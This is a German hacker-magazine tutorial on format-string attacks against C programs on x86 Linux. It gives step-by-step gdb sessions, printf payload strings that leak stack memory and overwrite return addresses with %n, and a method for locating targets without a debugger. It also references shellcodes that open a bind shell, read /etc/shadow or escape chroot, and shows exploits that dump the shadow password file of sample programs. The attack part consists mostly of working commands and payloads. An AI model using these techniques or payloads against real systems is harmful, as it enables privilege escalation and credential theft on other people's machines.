Formatstring-Angriffe
Scosh
Unsere Freunde heißen:
- gcc (bist du gut zu ihm, ist er gut zu dir)
- gdb (der kleine Kommandozeilenscheißer hat was drauf)
- rootbrain (sollte eigendlich jeder haben)
- moskovskaja (hochgeistige Unterstützung für hardwarenahe Codingx,
refers to +org and his great intel cracking tut's)
1. Einleitung
In letzter Zeit erschienen in diversen Security Mailinglists (Bugtraq, ...) immer mal wieder Bugreports von Unixprogrammen, deren Fehler zu bedenklichen Sicherheitslöchern führten. Diese Fehler konnten und können von lokalen sowie von entfernten Angreifern genutzt werden, um lokal als auch remote Rootrechte zu erlangen.
Diese Angriffe attakieren Tools wie zum Beispiel (Wu-FTPD V2.4(4), rpc.statd, php3, ...) auf Grund einer fehlerhaften Benutzung von Funktionen der printf-Klasse, speziel derer, welche eine Benutzereingabe erlauben.
Ein Angriff erfolgt durch Einschleusen speziell zusammengestellter Formatstrings in den Eingabestrom des Programmes, welcher durch eine dieser Funktionen bearbeitet wird. Formatstrings bestehen dabei aus Formatkonvertern (%s, %x, %f, %X, %c, ...) die jeder C-Programmierer kennen sollte.
Die folgende Beschreibung dieser Angriffstechnik setzt ein generelles Verständnis des Stackprinzips und der Intel x86 Assemblersprache voraus. Als Basissystem wurde ein Intel Pentium 100 Mhz mit Suse-Linux V6.4 (PCPro Version) verwendet.
Lets Rock ...
2. Formatstrings - ähh?
Jeder C-Programmierer hat sicher schon einmal folgenden Programmcode so oder so ähnlich geschrieben:
printf("Hallo %d. Parallelwelt", 50);
sprintf(dest, "%s %x", string, 15);
Auf eine Erklärung dieser Zeilen soll an dieser Stelle einmal verzichtet werden (vielleicht hilft ein C-Anfängerbuch weiter). Viel mehr Interesse sollte man aber der Repräsentation dieser Zeilen im Assemblerquellcode widmen. Schreiben wir uns zu Testzwecken ein kleines Programm, code00.c (zu finden im Bonusverzeichnis dieses WildMag's). Nachdem man das Programm kompiliert hat, läd man es zur genaueren Untersuchung erst mal in den Debugger.
SCOSH> gdb code00 [...] (gdb) disass main Dump of assembler code for function main: 0x8048470 <main>: push %ebp [...] (gdb) break sprintf Breakpoint 1 at 0x8048378 (gdb) run [...] (gdb) x/20x $esp 0xbffff5a4: 0x400fb618 0x4000a4d0 0x40000a1c 0x00000000 0xbffff5b4: 0x40063350 0x40013970 0xbffff7ec 0x080484bd 0xbffff5c4: 0xbffff5e4 0x08048545 0xbffff7e4 0x0000000f 0xbffff5d4: 0x00000000 0x00000000 0x40009890 0x40000814 0xbffff5e4: 0x00000000 0x00000000 0x00000000 0x00000000 (gdb) x/1s 0x08048545 0x8048545 <_IO_stdin_used+9>: "%s %x\n" (gdb) x/1s 0xbffff5e4 0xbffff5e4: "" (gdb) x/1s 0xbffff7e4 0xbffff7e4: "ZAHL" (gdb) c Continuing. ZAHL f Program exited with code 07. (gdb) q
Für die speziellen Belange eines Formatstringhackers ist folgender Teil des disassemblierten Codes interessant. Die Argumente der Funktion sprintf werden in guter C-Manier über den Stack übergeben. Zuerst wird die Zahl 15 (0x0f Hexadezimal) auf den Stack gepusht.
0x80484a6 <main+54>: push $0xf
Es folgt die Adresse des Strings "ZAHL", welche über das Register EAX geladen wird.
0x80484a8 <main+56>: lea 0xfffffff8(%ebp),%eax 0x80484ab <main+59>: push %eax
Die Adresse des Konverterstrings ("%s %x\n") ...
0x80484ac <main+60>: push $0x8048545
... und die Adresse des Speichers, wohin die formatierte Ausgabe geschrieben werden soll.
0x80484b1 <main+65>: lea 0xfffffdf8(%ebp),%eax 0x80484b7 <main+71>: push %eax
An dieser Stelle liegen nun alle nötigen Argumente auf dem Stack, und die Unterfunktion kann aufgerufen werden.
0x80484b8 <main+72>: call 0x8048378 <sprintf>
Vor Aufruf der Funktion sieht der Stack folgendermaßen aus. Die unterstrichenen Bereiche markieren die Argumente der Funktion sprintf.
0xbffff5b4: 0x40063350 0x40013970 0xbffff7ec 0x080484bd 0xbffff5c4: 0xbffff5e4 0x08048545 0xbffff7e4 0x0000000f ziel formatkonv. string zahl (15) 0xbffff5d4: 0x00000000 0x00000000 0x40009890 0x40000814
Zusammenfassend lässt sich also Folgendes sagen:
1. Die Funktion sprintf benötigt mindestens zwei Argumente, die Adresse des Zielspeichers sowie die Adresse des Speichers in dem der Formatstring steht.
2. In Abhängigkeit der Formatkonverter werden weitere Argumente (Adressen %s, Werte %x, ...) auf dem Stack abgelegt.
Bis hierhin ist das alles noch keine große Sache. Was passiert aber, wenn ein Nutzer von außen Eingaben irgendeiner Art tätigen kann, welche eine Funktion der printf-Klasse wie etwa sprintf durchlaufen?
3. Spielereien zum Reindenken (rootaccess to a brain extremly recommend)
3.1 Ein erstes Testprogramm - wie ißt man den Stack auf ;-)
Um an dieser Stelle tiefer in die Geheimnisse der Formatstrings eindringen zu können, benutzen wir ein kleines Testprogramm, code01.c (siehe Bonusverzeichnis). Dieses Programm ermöglicht es uns, Daten in den Eingangsspeicher von sprintf einzugeben und sofort deren Wirkung zu sehen. Starten wir einfach mal...
SCOSH> code01
AAAA
AAAA
AAAA %x %x %x %x %x %x %x %x %x %x %x
AAAA 200 bffff3fc bffff514 40003615 4000aac9 41414141 20782520 25207825
78252078 20782520 25207825
In der ersten Runde wurde der String "AAAA" eingegeben. Da in dieser Eingabe keine Formatkonverter vorkommen, wird er genau so wieder ausgegeben. Im zweiten Versuch aber wurden Konverterzeichen zur Ausgabe einer Integerzahl mit in die Eingabe geschleust. Wie weiter oben schon besprochen, erwartet sprintf die entsprechenden Argumente (die Integerzahlen, welche ausgegeben werden solllen) auf dem Stack. Die Funktion sprintf überprüft aber nicht, ob die abgelegten Daten auch wirklich für sie bestimmt sind und holt sich getreu dem Konverterzeichen seine Eingabe vom Stack, wobei in diesem Fall nach jedem Konverterzeichen der Stack um 4 Byte erhöht wird. (INTEL 32Bit = 4 Byte entspricht einem %x)
Wie im Quellcode erwähnt, beginnt der Speicher für den Eingabestring an der niedrigeren Adresse auf dem Stack. Durch Einsatz des Formatkonverters werden die Argumente vom Stack geholt und man erreicht nach dem 6. "%x" den eigenen Eingabespeicher. Zu sehen an der Ausgabe 41414141 wobei "A" den hexadezimalen Wert 0x41 hat.
Begeben wir uns tiefer in die Materie und starten gdb.
SCOSH> gdb code01 [...] (gdb) break sprintf Breakpoint 1 at 0x804839c (gdb) run [...] %x %x %x %x %x %x %x %x %x %x %x Breakpoint 1, 0x40063363 in sprintf () at sprintf.c:42 42 sprintf.c: No such file or directory. (gdb) x/40x $esp 0xbffff3a4: 0x400fb618 0x4000a4d0 0x00000200 0xbffff3e0 0xbffff3b4: 0x40063350 0x40013970 0xbffff7ec 0x08048511 0xbffff3c4: 0xbffff5e0 0xbffff3e0 0x00000200 0xbffff3dc 0xbffff3d4: 0xbffff4f4 0x40003615 0x4000aac9 0x25207825 [...] (gdb) bt #0 0x40063363 in sprintf () at sprintf.c:42 #1 0x8048511 in main () #2 0x40036a5e in __libc_start_main () at ../sysdeps/generic/libc-start.c:93 (gdb) x/1s 0xbffff3e0 0xbffff3e0: "%x %x %x %x %x %x %x %x %x %x %x\n" (gdb) c Continuing. 200 bffff3dc bffff4f4 40003615 4000aac9 25207825 78252078 20782520 25207825 78252078 20782520
An Adresse 0xbffff3c4 und 0xbffff3c8 des Stacks liegen jeweils die Ziel- und Quelladresse der Speicherbereiche für die Strings. Dies sind die Argumente der Funktion sprintf. Folgerichtig liegt eins höher die Rückkehradresse nach main() 0x08048511. Der Eingabebuffer liegt an der Stelle 0xbffff3e0 - 0xbffff400.
Wie man sieht, kann man also mit dem Konverter "%x" den Stack kontrollieren (aufessen). Das Gleiche gilt für den "%c" Konverter. Um einen erfolgreichen Formatstringangriff durchführen zu können, ist es wichtig, den Stack zu kontrollieren. Man fügt dabei so viele "%x" oder "%c" Konverter ein, bis der Stackpointer ($esp) auf den Eingabepuffer zeigt, wodurch man dann eigene Argumente für sprintf einfügen kann.
Das Beispielprogramm also noch mal nach diesen Gesichtspunkten getestet.
SCOSH> code01
AAAA%X%X%X%X%X%X%X
AAAA200BFFFF3FCBFFFF514400036154000AAC94141414158255825
AAAA%X%X%X%X%X%X
AAAA200BFFFF3FCBFFFF514400036154000AAC941414141
Erfolg. Die letzten 4 Zeichen der Ausgabe lauten 0x41. Dies entspricht dem Großbuchstaben "A", welcher 4 mal am Anfang des Strings eingefügt wurde. Es ist also sichergestellt, dass $esp nun auf die folgenden Bytes zeigt. Eine gute Ausgangslage um weiter zuarbeiten.
3.2 Die Suche nach der Returnadresse
Führt man Bufferoverflow Attacken gegen fremde Programme aus, so hat man das Problem, die Returnadresse raten zu müssen. Formatstringangriffe sind an dieser Stelle einfacher zu handhaben, da Konverter wie "%x" nicht nur eine einfache Manipulation des Stackpointers ermöglichen, sondern auch noch nützliche Informationen über den Inhalt des Stacks preisgeben. Natürlich nur, wenn man die Ausgaben sehen kann. Um die Jagt nach den Adressen in Schwung zu bringen, ein neues Beispielprogramm, code02.c. Nach erfolgreichem Kompilieren startet man am besten gdb mit dem Programm.
SCOSH> gdb code02 [...] (gdb) break sprintf Breakpoint 2 at 0x804839c (gdb) run [...] %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x Breakpoint 2, 0x40063363 in sprintf () at sprintf.c:42 42 sprintf.c: No such file or directory. (gdb) x/40x $esp 0xbffff384: 0x400fb618 0x4000a4d0 0x00000200 0xbffff3e0 0xbffff394: 0x40063350 0x40013970 0xbffff3bc 0x080484b6 0xbffff3a4: 0xbffff5e0 0xbffff3e0 0x40000a20 0x00000000 0xbffff3b4: 0x400b2140 0x40013970 0xbffff7ec 0x08048531 0xbffff3c4: 0xbffff5e0 0xbffff3e0 0x00000200 0xbffff3dc [...] (gdb) bt #0 0x40063363 in sprintf () at sprintf.c:42 #1 0x80484b6 in funktion () #2 0x8048531 in main () #3 0x40036a5e in __libc_start_main () at ../sysdeps/generic/libc-start.c:93 (gdb) c Continuing. 40000a20 0 400b2140 40013970 bffff7ec 8048531 bffff5e0 bffff3e0 200 bffff3dc bffff4f4 40003615 4000aac9 25207825 (Anfang Eingabepuffer) 78252078 20782520 25207825 78252078 20782520 25207825
Der eingegebene Formatstring gibt einen detailierten Überblick des Stacks ab Adresse 0xbffff3ac. Am augenscheinlichsten sind wohl die Argumente für function() (die Adressen des Eingapuffers 0xbffff3e0 und des Ausgabepuffers 0xbffff5e0) an den Stellen 0xbffff3c8 und 0xbffff3c4. Vor diesen beiden Adressen liegt die Rückkehradresse der Unterfunktion 0x08048531. Desweiteren läßt sich der Anfang des Eingabepuffers relativ leicht anhand der Ausgabe feststellen. Mit ein wenig Mathematik kann man die Lage der Returnadresse errechnen. Man muß nur vom Anfang des Eingabuffers, dessen Adresse bekannt ist, bis zur Returnadresse runterzählen.
Also: 0xbffff3e0 - 8 * (4 Byte) = 0xbffff3c0 = Adresse des Returnwertes
Ein kurzer Blick in den Stackprint des Debuggers zeigt die Richtigkeit der Berechnung, und man kann sich entspannt zurücklehnen. Es ist also möglich, auch ohne gdb die nötigen Parameter für einen erfolgreichen Angriff zu ermitteln.
3.3 Strings für alle - aus dem Speicher lesen
Einem Formatkonverter wurde bis jetzt noch keine Aufmerksamkeit geschenkt. Die Rede ist von "%s". Um dieses Konverterzeichen einsetzen zu können, ist eine sorgfältige Initialisierung des Stacks, wie in Kapitel 3.1 beschrieben, notwendig. Die Verwendung des "%s" Konverters soll am Codebeispiel 02 beschrieben werden. Es ist daher zuerst nötig, den String zu ermitteln, welcher die Kontrolle über den Stack zur Verfügung stellt. Nach etwas Rumprobieren mit dem Programm:
SCOSH> code02
AAAA%X%X%X%X%X%X%X%X%X%X%X%X%X%X
AAAA40000A000400B214040013970BFFFF80C8048531BFFFF600BFFFF400200BFFFF3FCBFFFF514400036154000AAC941414141
kommt man auf folgenden String: "AAAA%X%X%X%X%X%X%X%X%X%X%X%X%X%X"
Nur zur Erinnerung. Nach Abarbeitung dieses Strings zeigt $esp genau hinter die vier A's. Man kann also Adressen oder Werte an dieser Stelle ablegen, welche dann von sprintf als Argument für die darauffolgenden Stringkonverter genutzt werden. Um die Arbeit mit den Strings zu vereinfachen, ist es ratsam, das Programm printf zu benutzen. Der Aufruf lautet wie folgt:
SCOSH> printf "AAAA%%X %%X %%X %%X %%X %%X %%X %%X %%X %%X %%X %%X %%X %%X\n" | code02 AAAA40000A00 0 400B2140 40013970 BFFFF80C 8048531 BFFFF600 BFFFF400 200 BFFFF3FC BFFFF514 40003615 4000AAC9 41414141
An dieser Stelle soll endlich der "%s" Konverter benutzt werden. Diesem muß eine Adresse übergeben werden. Für einen ersten Versuch soll die eigene Eingabepuffer-Adresse verwendet werden. Diese lautet 0xbffff400, wobei aber zu beachten ist, dass man diese Adresse nicht einfügen kann, da sie ein NULL-Byte enthält. Man wählt also eine Adresse etwas höher, welche allerdings Aufgrund der Speicherverwaltung auf dem Intel verkehrt herum angegeben werden muß.
SCOSH> printf "AAAA\x02\xf4\xff\xbf %%X %%X %%X %%X %%X %%X %%X %%X %%X %%X %%X
%%X %%X %%X dump: %%s\n" | code02 AAAAöü? 40000A00 0 400B2140 40013970 BFFFF80C
8048531 BFFFF600 BFFFF400 200 BFFFF3FC BFFFF514 40003615 4000AAC9 41414141
dump: AAöü? %X %X %X %X %X %X %X %X %X %X %X %X %X %X dump: %s
Mit dieser Methode ist es möglich, den gesammten Speicher des Programms nach nützlichen Daten zu durchforsten. Noch ein Beispiel:
SCOSH> printf "AAAA\xd0\x95\x04\x08 %%X %%X %%X %%X %%X %%X %%X %%X %%X %%X %%X
%%X %%X %%X dump: %%s\n" | code02 AAAAD 40000A00 0 400B2140 40013970 BFFFF80C
8048531 BFFFF600 BFFFF400 200 BFFFF3FC BFFFF514 40003615 4000AAC9 41414141
dump: SUCHMICH
3.4 Spezialkonverter - Schreiben in den Speicher
Hat man auf der Suche nach Formatkonvertern einen tiefen Blick in die Manualseiten des Systems gewagt, so wird sicherlich der "%n" oder der "%hn" Konverter ins Auge fallen. Diese beiden Konverterzeichen hinterlegen an einer angegebene Adresse die Anzahl der bis dahin geschriebenen Zeichen. Das "%n" Zeichen ist an dieser Stelle das praktikabelste und soll näher beschrieben werden. Für einen ersten Test soll ein spezieller Formatstring der folgenden Form gewählt werden:
"AAAA\xc0\xf3\xff\xbf%%x%%x%%x%%x%%x%%x%%x%%x%%x%%x%%x%%x%%x%%x%%n\n"
Dabei wird die Adresse, an die geschrieben werden soll, hinter dem "AAAA" String angegeben. Darauf folgen 14 Formatkonverter "%x", die den Stack auf diese Adresse einstellen ($esp zeigt dann auf 0xbffff3e0 + 4). Der speziell zusammengestellte Formatstring wird zur besseren Verarbeitung in einer Datei (string) abgelegt.
SCOSH> printf "AAAA\xc0\xf3\xff\xbf%%x%%x%%x%%x%%x%%x%%x%%x%%x%%x%%x%%x%%x%%x %%n\n" > string
An dieser Stelle gdb, um zu sehen, was passiert:
SCOSH> gdb code02 [...] (gdb) set args < string (gdb) break sprintf Breakpoint 1 at 0x804839c (gdb) run [...] (gdb) x/40x $esp 0xbffff384: 0x400fb618 0x4000a4d0 0x00000200 0xbffff3e0 [...] (gdb) watch *0xbffff3c0 Hardware watchpoint 2: *3221222336 (gdb) c Continuing. Hardware watchpoint 2: *3221222336 Old value = 134513969 New value = 107 0x4005bf99 in vfprintf () at vfprintf.c:1565 1565 vfprintf.c: No such file or directory. (gdb) c Continuing. Program received signal SIGSEGV, Segmentation fault. 0x6b in ?? ()
Wie man sieht, wurde die Returnadresse der Funktion durch diesen Formatstring überschrieben. Beim Ausführen des Returnbefehls wird versucht, an die Adresse 0x6b (107) zu springen, was zu einem "Segmentation fault" führt. Es zeigt sich also, dass ein sorgfältig erstellter Formatstring die Returnadresse überschreiben kann. Dieser Ansatz soll nun weiter ausgebaut werden.
Ein kleines Beispiel: Die Returnadresse, welche es zu überschreiben gilt, liegt auf dem Stack bei 0xbffff3c0. Der Eingabebuffer beginnt an Adresse 0xbffff3e0. Es soll ein Shellcode ausgeführt werden, welcher auch im Eingabebuffer liegt. Da es in den meisten Fällen nicht möglich ist, 0xbffff3e0 Bytes in den Eingabebuffer zu schreiben, um %n diesen Wert an die entsprechende Adresse schreiben zu lassen, benutzt man vier %n Konverter, welche immer einen Bytewert schreiben sollen. Dabei ist zu beachten, dass der Wert, den %n schreibt, nur nach oben gezählt wird. Der nach diesen Vorgaben erstellte Formatstring sieht in diesem Beispiel wie folgt aus:
adr+0, adr+1, adr+2, adr+3, stackeat, bytes0, "%n", bytes1, "%n", bytes2, "%n", bytes3, "%n", (shellcode)
Die Position der Returnadresse wird als adr bezeichnet, also:
Bezeichner Wert adr+0 0xbffff3c0 adr+1 0xbffff3c1 adr+2 0xbffff3c2 adr+3 0xbffff3c3
Der String, welcher $esp einstellt (stackeat), lautet: "%x%x%x%x%x%x%x%x%x%x%x%x%x" (13 x "%x")
Eine Anzahl Bytes für die entsprechenden "%n" Konverter wird als bytes0, bytes1, bytes2 und bytes3 bezeichnet. Beim Füllen ist es zu raten, den Wert 0x90 ("nop") zu verwenden, wobei am Ende des Strings der Wert 0xeb und 0x02 ("jmp + 2") eingefügt wird, um über den darauffolgenden Konverter ("%n") zu springen. Die Anzahl der Bytes durch die die Variablen bytes0 bis bytes3 ersetzt werden errechnet sich nach folgender Formel: zu schreibender Wert - schon geschriebene Bytes = Byteanzahl. Die Adresse, mit welcher die Returnadresse auf dem Stack überschrieben wird, sollte irgendwo in die nop's zeigen. Zu diesem Zweck ein kleines Programm, welches den für den Angriff notwendigen Formatsttring erstellt: code03.c.
Nach dem Compilieren sollte man sich nicht scheuen, das Programm zu testen...
# code03 > string # gdb code02 [...] (gdb) set args < string (gdb) run Starting program: /root/privat/codings/formatstring/code02 < string Program received signal SIGSEGV, Segmentation fault. 0xbffff566 in ?? ()
Jep. Das Programm code02 wurde durch den "speziellen" Formatstring dazu gebracht, die Abarbeitung im eigenen Eingabespeicher fortzusetzen. Dabei trifft es auf die eingeschleußten "nop" und "jmp+2" Befehle und setzt die Abarbeitung bis an das Ende des Eingabestrings fort. An dieser Stelle sollte der Shellcode liegen...
4. Shellcode (mal wieder)
Auf das Schreiben von Shellcodes möchte ich an dieser Stelle nicht näher eingehen. Für nähere Informationen zu diesem Thema sei auf meinen Artikel über Bufferoverflows verwiesen. Nur soviel:
- Der Schellcode darf keine 0x00 Bytes enthalten.
- Das "%" Zeichen (0x25) darf nicht im Shellcode vorkommen, da es die
Konverterzeichen einleitet.
Im folgenden ein paar Beispielshellcodes ohne nähere Erläuterung.
shell00.bin - Dieser Schellcode von ron1n öffnet eine Shell an Port 39168.
shell01.bin - Dieser Shellcode von Doing fürt ein Kommando aus.
In diesem Fall "cat /etc/shadow".
shell02.bin - Dieser Shellcode von Lam3rZ bricht aus einer chroot() Umgebung aus.
Um die Shellcodes zu testen, kann man das Programm code04.c benutzen. Dabei ist der zu untersuchende Shellcode in der Variablen Shellcode einzufügen.
Nach dem Compilieren ist es mit Hilfe von gdb möglich, sich den Assemblercode anzuschauen (und womöglich noch was zu lernen). Die Adresse, an welcher der Shellcode liegt, erhält man durch Disassemblieren von main an der Stelle <main+18>. Also los...
# gdb code04 [...] (gdb) disass main Dump of assembler code for function main: 0x80483d0 <main>: push %ebp [...] 0x80483e2: movl $0x8049480,(%eax) [...] (gdb) disass 0x8049480 Dump of assembler code for function shellcode: 0x8049480 <shellcode>: jmp 0x80494cd <shellcode+77> [...] (gdb) x/s 0x80494d2 0x80494d2 <shellcode+82>: "/bin/sh -c cat /etc/shadow"
Das soll's an dieser Stelle zum Thema Shellcode gewesen sein. Den meisten wird es sicher schon in den Fingern kribbeln, also jetzt der Angriff auf das Beispielprogramm "code02". Zu diesem Zweck wird das Codebeispiel 03 zur Erstellung des Formatstrings ein wenig erweitert, es entsteht code05.c. Das Programm kann nach dem Kompilieren wie folgt getestet werden...
# code05 > string # gdb code02 [...] (gdb) set args < string (gdb) run Starting program: /root/privat/codings/formatstring/code02 < string Program received signal SIGTRAP, Trace/breakpoint trap. 0x40001990 in _start () at rtld.c:142 142 rtld.c: No such file or directory. (gdb) c Continuing. Program received signal SIGTRAP, Trace/breakpoint trap. 0x40001990 in _start () at rtld.c:142 142 in rtld.c (gdb) c Continuing. root: ;-) :11206:0:10000:::: bin:*:8902:0:10000:::: [...] Program exited normally.
Scheint zu klappen ;-) ...
5. Die Erforschung des Unbekannten (möge der Stack mit dir sein)
In den meisten Fällen ist das Benutzen eines Debuggers wie gdb aufgrund fehlender Rootrechte schlecht möglich. Das gleiche Problem tritt auf, versucht man remote Programme zu "erkunden", welche Formatstringfehler enthalten. Im folgenden soll deshalb gezeigt werden, wie man auch ohne Debugger die nötigen Parameter für eine erfolgreiche Attacke ermitteln kann. Das Programm code06.c soll attackiert werden.
Zuerst soll versucht werden, die Kontrolle über den Stack zu erlangen. Dies geschieht mit dem schon besprochenen Konverter "%x". Dabei probiert man einfach solange, bis man den Eingabespeicher erreicht, um später eigene Adressen einzuschleusen. Nach ein paar Versuchen sollte man zu folgendem Ergebnis kommen:
SCOSH> printf "AAAA %%x %%x %%x %%x %%x %%x %%x %%x %%x %%x %%x %%x %%x %%x %%x
%%x %%x %%x %%x %%x %%x %%x %%x %%x\n\n" | code16
AAAA 4000aa20 4000aa20 bffff874 6bf 52d 46b 8049640 6c6c6148 7453206f 206b6361
72656968 6e696220 68636920 400b2100 60 bffff80c (sfp) 804855a (ret) bffff40c (dest) bffff00c (src) 400
258 0 590 41414141
Man kann aus dieser Ausgabe schon wichtige Informationen entnehmen: scr ... Adresse des Eingabebuffers. dest ... Adresse des Zielbuffers. ret/sfp ... Returnadresse und "saved frame pointer" von main nach Aufruf von funktion(dest,src). (ret ist die Rücksprungadresse an der main nach Abarbeitung von funktion(...) fortgesetzt wird.)
Mit etwas Mathematik können auch schon Adressen berechnet werden:
- der Eingabespeicher liegt bei 0xbfff00c
-> 0xbfffefec: 0xbffff80c sfp (main)
-> 0xbfffeff0: 0x0804855a ret (main)
-> 0xbfffeff4: 0xbffff40c arg 1 funktion (dest)
-> 0xbfffeff8: 0xbffff00c arg 2 funktion (src)
An dieser Stelle soll überprüft werden, ob die Berechnungen richtig sind. Dies geschieht mit Hilfe des "%s" Konverters und hexdump.
SCOSH> printf "AAAA\xec\xef\xff\xbf %%x %%x %%x %%x %%x %%x %%x %%x %%x %%x %%x
%%x %%x %%x %%x %%x %%x %%x %%x %%x %%x %%x %%x %%x dump: %%s\n\n" | code16 |
hexdump
[...]
00000b0 3431 2031 7564 706d 203a f80c bfff 855a
00000c0 0804 f40c bfff f00c bfff 0a0a
Wie man sehen kann, waren die Berechnungen richtig. Die Stelle, an der die Returnadresse der Unterfunktion auf dem Stack liegt, ist nun bekannt und könnte überschrieben werden. In manchen Fällen führt dieser Ansatz auch sicher zum Erfolg, es ist aber auch möglich, dass die Unterfunktion den Eingabespeicher manipuliert oder sich mit exit() beendet. In beiden Fällen wäre eine Abarbeitung des Shellcodes nicht mehr möglich, da die manipulierte Returnadresse erst nach einem ret-Befehl in der Unterfunktion zum tragen kommt.
Besser ist es in jedem Fall, die Returnadresse von snprintf selbst zu überschreiben. In diesem Fall sind aber noch einige Überlegungen zu treffen. Die Returnadresse von snprintf liegt irgendwo vor dem Stück Stack, welches man als Ausgabe der eingeschleußten "%x" Konverter zu sehen bekommt. Nach etwas Überlegung kommt man zu folgender Adresse: 0xbfffefb0: 0x4000aa20 Ausgabe des ersten "%x" Konverters. Überprüfen wir diese Überlegung:
SCOSH> printf "AAAA\xb0\xef\xff\xbf %%x %%x %%x %%x %%x %%x %%x %%x %%x %%x %%x
%%x %%x %%x %%x %%x %%x %%x %%x %%x %%x %%x %%x %%x dump: %%s\n\n" | code16 |
hexdump
[...]
00000b0 3431 2031 7564 706d 203a aa20 0a0a
Die markierte Zahl zeigt die letzten 16 Bit der Ausgabe des ersten "%x" Konverters. (Die Berechnung war also richtig.) Da die Funktion snprintf drei Argumente erhält, sieht der Stack wie folgt aus:
-> 0xbfffef9c: ... sfp snprintf
-> 0xbfffefa0: ... ret snprintf
-> 0xbfffefa4: ... arg 1 snprintf
-> 0xbfffefa8: ... arg 2 snprintf
-> 0xbfffefac: ... arg 3 snprintf
-> 0xbfffefb0: 0x4000aa20 Ausgabe des ersten "%x" Konverters
...
-> 0xbfffefec: 0xbffff80c sfp (main)
-> 0xbfffeff0: 0x0804855a ret (main)
-> 0xbfffeff4: 0xbffff40c arg 1 funktion (dest)
-> 0xbfffeff8: 0xbffff00c arg 2 funktion (src)
Überprüfen wir diese Voraussage:
SCOSH> printf "AAAA\x9c\xef\xff\xbf %%x %%x %%x %%x %%x %%x %%x %%x %%x %%x %%x
%%x %%x %%x %%x %%x %%x %%x %%x %%x %%x %%x %%x %%x dump: %%s\n\n" | code16 |
hexdump
[...]
00000b0 3431 2031 7564 706d 203a efec bfff 84d8
00000c0 0804 f40c bfff 0a0a
Die markierten Bereiche sind sfp, ret und arg1 der Funktion snprintf. Die Voraussage hat sich also bestätigt, und man kann das Bild des Stacks noch etwas weiter präzisieren.
-> 0xbfffef9c: 0xbfffefec sfp snprintf
-> 0xbfffefa0: 0x080484d8 ret snprintf
-> 0xbfffefa4: 0xbffff40c arg 1 snprintf
-> 0xbfffefa8: ... arg 2 snprintf
-> 0xbfffefac: ... arg 3 snprintf
-> 0xbfffefb0: 0x4000aa20 Ausgabe des ersten "%x" Konverters
...
-> 0xbfffefec: 0xbffff80c sfp (main)
-> 0xbfffeff0: 0x0804855a ret (main)
-> 0xbfffeff4: 0xbffff40c arg 1 funktion (dest)
-> 0xbfffeff8: 0xbffff00c arg 2 funktion (src)
An dieser Stelle hat man die wichtigsten Parameter für einen
erfolgreichen Angriff in der Hand.
- Die Adresse des Eingabebuffers: 0xbffff00c
- Die Lage der Returnadresse: 0xbfffefa0
Was noch fehlt, ist der Anfangswert der durch den "%n" - Konverter geschrieben
wird. Diesen erfährt man aber leicht durch folgenden gestrafften Formatstring.
SCOSH> printf "\x10\xf0\xff\xbf%%x%%x%%x%%x%%x%%x%%x%%x%%x%%x%%x%%x%%x%%x%%x
%%x%%x%%x%%x%%x%%x%%x%%x%%n Der Anfangswert lautet: 0x%%x\n\n" | code16
[...] Der Anfangswert lautet: 0x8f
... besser gehts nicht. :-) Also der Exploitcode: code07.c
SCOSH> code07 > string SCOSH> code06 < string root: ;-) :11206:0:10000:::: bin:*:8902:0:10000:::: [...]
<eof>
Scosh